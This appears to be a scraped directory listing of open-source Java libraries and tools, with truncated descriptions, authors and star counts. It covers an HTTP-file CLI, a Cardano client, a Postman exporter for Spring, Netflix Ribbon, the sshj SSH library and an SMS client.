贺兰星辰 3 Oct 6, 2021
httpx - CLI to run HTTP file

httpx: CLI for run http file httpx is a CLI to execute requests from JetBrains Http File. How to install? Mac : brew install httpx-sh/tap/httpx Other

httpx 105 Dec 15, 2022
Koios Java Client Library is based on Koios Elastic Query Layer for Cardano Node by Cardano Community Guild Operators

Koios Java Client What is Koios? Koios Java Client Library is based on Koios Elastic Query Layer for Cardano Node by Cardano Community Guild Operators

Dudi Edri 13 Dec 4, 2022
Simple Java library that can export all of your Spring endpoints into a Postman Collection

Postman Exporter for Spring This project is a simple Java library that can export all of your Spring endpoints into a Postman Collection json, which y

Lucas Sampaio Dias 30 Sep 6, 2022
Ribbon is a Inter Process Communication (remote procedure calls) library with built in software load balancers. The primary usage model involves REST calls with various serialization scheme support.

Ribbon Ribbon is a client side IPC library that is battle-tested in cloud. It provides the following features Load balancing Fault tolerance Multiple

Netflix, Inc. 4.4k Jan 1, 2023
ssh, scp and sftp for java

sshj - SSHv2 library for Java To get started, have a look at one of the examples. Hopefully you will find the API pleasant to work with :) Getting SSH

Jeroen van Erp 2.2k Jan 4, 2023
AltiriaSmsJavaClient, the official Java client of Altiria

¡Atención! Este proyecto aún se encuentra en desarrollo. Pronto se publicará la versión final para su uso. Altiria, cliente SMS Java Altiria SMS Java

Altiria 4 Dec 5, 2022